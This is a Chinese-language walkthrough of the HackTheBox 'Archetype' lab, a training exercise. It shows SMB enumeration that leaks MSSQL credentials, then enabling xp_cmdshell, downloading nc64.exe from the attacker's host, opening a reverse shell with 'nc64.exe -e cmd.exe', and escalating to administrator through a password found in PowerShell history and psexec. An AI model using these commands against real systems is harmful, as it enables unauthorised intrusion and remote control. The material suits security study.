lab-hackthebox-Archetype-windowsRCE
首先用openvpn连接到vpn服务,然后进行常规扫描
1 | nmap -sC -sV ip |
综合两次扫描结果,我们会发现很多服务
可以看出又是smb服务,那么我们又要用smbclient来看共享文件夹。
1 | smbclient -N -L \\\\ip\\ |
然后我们进入没有权限限制的backups目录。
1 | smbclient -N \\\\ip\backups |
发现一个prod.dtsConfig
文件,我们get下来并且查看。这个文件是我们登陆smb会话时,在目录中自动保存的。
1 | get prod.dtsConfig |
拿到用户名密码
1 | 用户名sql_svc密码Mag4c0rp123主机ARCHETYPE |
我们需要连接到microsoft sql server简称mssql
这里采用通用连接工具Impacket tool
可在github上下载,或者
1 | python -m pip install impacket |
但是注意,在python中下载之后,里面的工具脚本在python工具的默认安装位置,比如在kali系统中,所有安装的工具默认在/usr/share/doc
或者/usr/share/lib
等目录。
本题在/usr/share/doc/python3-impacket/examples
目录找到了所有工具里面的可以直接调用的脚本。
impacket工具是一个python class
的集合,用于不同网络协议部署。
1 | python mssqlclient.py -h#本题用的工具 |
对于windows账户密码已知,我们直接登陆
1 | python mssqlclient.py ARCHETYPE/sql_svc@ip -windows-auth |
进入sql
命令行之后,我们检查是否有一些常见用户
1 | SELECT is_svcrolemember('sysadmin'); |
说明存在。
下面我们设置cmdshell用户直接执行系统命令。
1 | EXEC xp_cmdshell 'net user'; |
但是并没有开启这个功能,提示我们要先设置advanced options
1 | EXEC sp_configure 'show advanced options', 1; |
现在我们可以检查是否xp_cmdshell
已经被激活。
1 | EXEC xp_cmeshell 'net user'; |
发现已经成功,现在来利用xp_cmdshell
执行系统命令。
1 | xp_cmdshell "whoami" |
我们想要反弹shell,现在尝试上传一个nc64.exe
到目标机器通过执行cmd反弹shell到监听端口。
下载地址
然后在本地先起一个http服务用宇传输文件到靶机
1 | sudo python -m http.server 80 |
本地开启监听,等待反弹shell
1 | sudo nc -lvnp 443 |
下面在靶机发起对我们服务器的下载请求,先进行一些基本请求
1 | xp_cmdshell "powershell -c pwd" |
然后发起下载
1 | xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.13/nc64.exe -outfile nc64.exe" |
在python http监听可以看到下载。
下面执行反弹shell。
1 | xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.13 443" |
即可拿到shell。
在Desktop目录可以看到user.txt
拿到第一个flag。
但是我们并没有拿到administrator用户。
下面我们用winPEAS
提权,这个工具会自动扫描漏洞。
同样用wget
1 | powershell |
然后执行
1 | .\winPEASx64.exe |
在linux中,我们过去执行的命令保存在.bash_history
中,在windows中,命令会保存在ConsoleHost_history.txt
,具体在C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
目录。
我们进入并且查看
1 | type ConsoleHost_history.txt |
成功看到administrator账户与其密码。
下面进行提权,我们用刚才impacket tools中的psexec.py
1 | python psexec.py adminstrator@ip |
提权成功,在Desktop目录拿到flag。